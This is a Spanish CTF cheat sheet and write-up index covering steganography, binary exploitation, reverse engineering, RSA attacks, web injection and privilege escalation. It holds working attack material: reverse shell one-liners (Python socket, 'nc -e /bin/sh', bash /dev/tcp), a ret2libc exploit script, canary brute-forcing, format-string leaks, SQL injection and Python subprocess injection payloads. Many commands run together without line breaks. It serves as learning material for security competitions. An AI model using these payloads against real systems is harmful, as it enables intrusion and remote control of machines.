
Hoja de referencia CTF + Informes / Archivos para algunos de los CTF de seguridad que he realizado
Writeups / Archivos para algunos de los Cyber CTFs que he realizado
También he incluido una lista de recursos de CTF así como una chuleta completa que cubre muchísimos desafíos comunes de CTF
[!NOTE] Ahora hay un espejo web de este repositorio en hackback.zip
Aquí hay algunas diapositivas que he preparado: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf.file <archivo.xyz>steghide extract -sf <archivo.xyz>stegseek <archivo> <lista de contraseñas>binwalk -M --dd=".*" <archivo.xyz>exiftool <archivo.xyz>strings <archivo.xyz>Audio de fax:
SSTV (televisión de barrido lento) audio (cosas de luna)

Imagen de espectrograma
Cambiar tono, velocidad, dirección...
DTMF (frecuencia dual de tono múltiple) teclas de teléfono
multimon-ng -a DTMF -t wav <archivo.wav>
Cinta de casete
Código Morse
pngcheck <archivo>photorec <archivo.bin>.img:
binwalk -M --dd=".*" <nombreArchivo>file en la salida y selecciona el archivo del sistema de archivos de Linux.losetup /dev/loop<numeroLoopLibre> <archivoSistemaArchivos>tcpflow -r <archivo.pcap>checksec <binario>rabin2 -I <binario>binary-security-check <bin>.exeseccomp-tools dump ./<binario>readelf -s <binario>rabin2 -z <binario>python -c "import pwn; print(pwn.p32(<intAddr>))python -c "import pwn; print(pwn.p64(<intAddr>))( python -c "print '<PAYLOAD>'" ; cat ) | ./<programa>process.interactive()pwn cyclic <numChars> para generar payload.dmesg | tail | grep segfault para ver dónde ocurrió el error.pwn cyclic -l 0x<ubicacionError> para ver el desplazamiento aleatorio para controlar el puntero de instrucción.ROPgadget --ropchain --binary <binario>
gs o fs (para 32 y 64 bits respectivamente)
- Aquí, el canary de la pila se mueve a `rax` en el offset +8.
- Por lo tanto, haz un break en el siguiente offset y verifica qué hay en rax (`i r rax`) para ver cuál es el canary actual
**Static Canaries**
- Un canary solo es estático si fue implementado manualmente por el programador (que es el caso en algunos desafíos introductorios de pwn), o si puedes hacer fork del programa.
- Cuando haces fork del binario, el proceso hijo tiene el mismo canary, por lo que puedes hacer un bruteforce byte por byte sobre ese.
**Extra**
- Cuando un canary de la pila se sobrescribe incorrectamente, provocará una llamada a `__stack_chk_fail`
- Si no podemos filtrar el canary, también podemos modificar la tabla GOT para evitar que sea llamada.
- El canary se almacena en la estructura `TLS` de la pila actual y se inicializa mediante `security_init`
- Si puedes sobrescribir el valor real del canary, puedes igualarlo a lo que decidas desbordar.
- Script simple para hacer bruteforce de un canary estático de 4 bytes:```python
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
%1$s - This will print the first value in the stack (from what I understand, the one right next to your buffer) as a string.%2$s - This will print the 2nd value as a string, and you get the ideafor i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done%hhx leaks 1 byte (half of half of int size)%hx leaks 2 bytes (half of int size)%x leaks 4 bytes (int size)%lx leaks 8 bytes (long size)We will overwrite the EIP to call the system() library function and we will also pass what it should execute, in this example a buffer with "/bin/sh"
Good explanation:
Good example (go to 3:22:44):
Get address for execve("/bin/sh")
one_gadget <libc file>If you already know the libc file and a location (ie. dont have to leak them...)```python #!/bin/python3
from pwn import * import os
binaryName = 'ret2libc1'
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]
libc_execve_address = one_gadget_libc_execve_out[1]
p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)
printf_loc = int(p.recvuntil('\n').rstrip(), 16)
printf_libc = l.sym['printf']
libc_base_address = printf_loc - printf_libc
offset = 0x17
payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)
p.sendline(payload)
p.interactive()
## Ingeniería Inversa
> Guía Genial: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
- [Ghidra](https://ghidra-sre.org/)
- Descompilador muy útil
- dotPeek o dnSpy
- descompilar ejecutables .NET
- [jadx](https://github.com/skylot/jadx) y jadx-gui
- descompilar apks
- [devtoolzone](https://devtoolzone.com/decompiler/java)
- descompilar java en línea
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
- Descompilador de Java avanzado basado en terminal
- apktool
- descompilar apks
- `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
- Análisis de binarios
- [peda](https://github.com/longld/peda) (extensión para mayor funcionalidad)
- [gef](https://github.com/hugsy/gef) (extensión de gdb para pwners)
- [radare2](https://github.com/radareorg/radare2)
- Análisis de binarios
- [FLOSS](https://github.com/mandiant/flare-floss)
- `strings` potenciado. Utiliza análisis estático para encontrar y calcular cadenas
#### SMT Solvers
- [angr](https://github.com/angr/angr) (python)
- [Docs](https://docs.angr.io/core-concepts/toplevel)
- [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
- [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
#### Reversing byte-by-byte checks (ataque de canal lateral)
[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
- Aquí hay una versión que hice para un desafío que utiliza un ataque basado en tiempo:
- Es posible que tengas que ejecutarlo un par de veces para tener en cuenta la aleatoriedad.```python
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
grep <cadena> y gef te mostrará automáticamente la cadena que coincide con tu patrón de búsquedawpscan --url <sitio> --plugins-detection mixed -e con una clave de API para obtener mejores resultadosecho <token> > jwt.txtjohn jwt.txtsqlmap --forms --dump-all -u <url>ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all-fs para filtrar tamañoscipherText = "" plainText = "" flagCipherText = "" tableFile = ""
with open(cipherText) as fin: cipher = fin.readline().rstrip()
with open(plainText) as fin: plain = fin.readline().rstrip()
with open(flagCipherText) as fin: flag = fin.readline().rstrip()
with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]
table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break
print(key)
dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break
print(dec_flag)
- [Cifrado por sustitución](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Cifrado César con clave](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)
### RSA
#### Obtener información RSA con pycryptodome```python
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
Utiliza esto cuando puedas factorizar el número n
Antiguo```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m
p = q = e = c =
n = p*q # use factordb command or website to find factors
phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv(e, phi) # private key
m = pow(c,d,n) # decrypted plaintext message in long integer form
thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))
- Nuevo```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
phi = 1
for i in factors:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
Generalmente se usa si el exponente es muy pequeño (e <= 5)
if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1
c = e =
plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))
#### Ataque de Pollard (n, e, c)
- Basado en el [método de factorización de Pollard](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf), que hace que los productos de primos sean [fáciles de factorizar](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) si son (B)-suaves
- Este es el caso si `p-1 | B!` y `q - 1` tiene un factor > `B````python
from Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
n = e = c =
d = owiener.attack(e, n) m = pow(c, d, n)
flag = long_to_bytes(m) print(flag)
### Base16, 32, 36, 58, 64, 85, 91, 92
[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
## Box
### Conexión
- ssh
- `ssh <usuario>@<ip>`
- `ssh <usuario>@<ip> -i <archivo_clave_privada>`
- Montar SSH como sistema de archivos localmente:
- `sshfs -p <puerto> <usuario>@<ip>: <directorio_montaje>`
- Hosts conocidos
- `ssh-copy-id -i ~/.ssh/id_rsa.pub <usuario@host>`
- netcat
- `nc <ip> <puerto>`
### Enumeración
- Descubrimiento de máquinas
- `netdiscover`
- Escaneo de puertos de máquinas
- `nmap -sC -sV <ip>`
- Enumeración de Linux
- `enum4linux <ip>`
- Enumeración SMB
- `smbmap -H <ip>`
- Conectar a recurso compartido SMB
- `smbclient //<ip>/<recurso>`
### Escalada de privilegios
- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
- `./linpeas.sh`
- Busca automáticamente vectores de escalada de privilegios
- Listar comandos que podemos ejecutar como root
- `sudo -l`
- Encontrar archivos con permiso SUID
- `find / -perm -u=s -type f 2>/dev/null`
- Estos archivos se ejecutan con los privilegios del propietario en lugar del usuario que los ejecuta
- Encontrar permisos de todos los servicios
- `accesschk.exe -uwcqv *`
- Buscar servicios que no estén bajo las cuentas de Sistema o Administrador
- Consultar servicio
- `sc qc <nombre_servicio>`
- Solo funciona en cmd.exe
### Escuchar para shell inversa
- `nc -lnvp <puerto>`
### Shell inversa
- revshells.com
- plantillas para básicamente todo lo que puedas necesitar
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<puerto>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <puerto>`
- `bash -i >& /dev/tcp/<ip>/<puerto> 0>&1`
### Obtener shell interactiva
#### Linux
1. Ejecuta el siguiente comando de python para hacerlo parcialmente interactivo: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. Sal de la sesión de netcat con `CTRL+Z` y ejecuta `stty raw -echo` localmente
3. Vuelve a tu sesión con el comando `fg` (y el id del trabajo después si es necesario)
4. Cambia tu emulador de terminal a xterm ejecutando `export TERM=xterm` (esto puede no ser necesario)
5. Cambia tu shell a bash ejecutando `export SHELL=bash` (esto puede no ser necesario)
6. ¡Hecho! Ahora tu shell debería ser completamente interactiva
#### Windows / General
1. Instala `rlwrap` en tu sistema
2. Ahora, cada vez que ejecutes un listener de nc, solo pon `rlwrap` al frente
3. Por ejemplo: `rlwrap nc -lvnp 1337`
* Esto te dará las teclas de flecha y el historial de comandos, pero no dará autocompletado (hasta donde sé) para sistemas Windows y *nix
## OSINT
- [pimeyes](https://pimeyes.com/en)
- Búsqueda inversa de rostros en internet
- [OSINT Framework](https://osintframework.com/)
- Sitio web que agrega toneladas de herramientas OSINT
- [GeoSpy AI](https://geospy.ai)
- LLM de visión geoespacial que puede estimar la ubicación solo con una imagen
- [overpass turbo](https://overpass-turbo.eu)
- Sitio web que te permite consultar la API de OpenStreetMap y visualizar resultados
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
- Sitio web que te permite consultar fácilmente la API de OSM
## Misc
- Resolviendo errores de DNS
- `dig <sitio> <tipoRegistro>`
- [Lista de tipos de registro](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
- Asegúrate de probar TXT
- Ejecutar un binario como una arquitectura diferente
- 64 bits:
- `linux64 ./<binario>`
- 32 bits:
- `linux32 ./<binario>`
- Extraer macros de MS:
- [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- Ver CNC GCode
- [https://ncviewer.com/](https://ncviewer.com/)
hexedit <archivo.xyz>ghex <archivo.xyz>unzip <archivo.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<archivo>ltrace -s 100 ./<archivo>
'OR 1=1-- en el formulario de inicio de sesiónSELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''1=1 se evalúa como verdadero, lo que satisface la sentencia OR, y el resto de la consulta se comenta con --__import__.('subprocess').getoutput('<comando>')
__import__.('subprocess').getoutput('ls').split('\\n')